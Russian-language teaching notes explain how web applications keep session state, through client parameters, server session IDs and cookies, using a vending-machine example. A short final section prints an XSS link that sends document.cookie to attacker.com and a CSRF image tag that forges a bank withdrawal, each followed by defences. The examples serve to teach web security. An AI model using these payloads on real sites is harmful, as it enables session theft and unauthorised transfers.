Состояние контекста сопровождается [честным] клиентом:
Запрос: POST /balance
, тело запроса: данные банковской карты, сумма к
списанию = 50 руб.
Ответ: баланс = 50 р.
Запрос: GET /product?id=5&balance=50
Ответ: заберите шоколадку, текущий баланс = 30р.
Запрос: GET /odd?balance=30
Ответ: заберите сдачу, текущий баланс = 0р.
Контекст сопровождается сервером на основе некоторого уникального идентификатора сессии (на основе имени пользователя, IP-адреса и т.д. или генерируемого серверной стороной):
Запрос: POST /balance?name=client1
, тело запроса: данные банковской карты, сумма к
списанию = 50 руб.
Ответ: баланс успешно пополнен
Запрос: GET /balance?name=client1
Ответ: баланс = 50 р.
Запрос: GET /product?id=5&name=client1
Ответ: заберите шоколадку, текущий баланс = 30р.
Запрос: GET /product?id=7&name=client1
Ответ: невозможно приобрести чипсы, пополните баланс
ключ=значение
;Set-Cookie: name1=value1; name2=value2
Expire
,
Max-Age
, Domain
, Path
, HttpOnly
, Secure
.HttpOnly
).Запрос: =POST /balance, тело запроса: данные банковской карты, сумма к списанию = 50 руб.
Ответ: 200 Ok
Заголовок ответа: Set-Cookie: sessid=1098237587; Expires=Mon, 24 Nov 2014 22:09:52 +0300
Запрос: GET /balance
Заголовок запроса: Cookie: sessid=1098237587
Ответ: баланс = 50 р.
Запрос: GET /product?id=5
Заголовок запроса: Cookie: sessid=1098237587
Ответ: заберите шоколадку
Запрос: GET /odd
Заголовок запроса: Cookie: sessid=1098237587
Ответ: ваша сдача — 30 р.
Заголовок ответа: Set-Cookie: sessid=deleted; Expires <вчера>
Cross-site scripting — выполнение JavaScript-кода, вставленного в страницу злоумышленником. Пример:
<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>
Могут помочь: HttpOnly, использование CAPTCHA для критичных операций
Cross-site request forgery — выполнение запроса к сервису без ведома пользователя. Например где-нибудь на форуме может быть вставлена картинка:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Могут помочь: использование CAPTCHA или повторная аутентификация для критичных операций, Synchronizer token pattern, Cookie-to-Header Token
Типичный сценарий работы web-приложения, требующего разграничения доступа: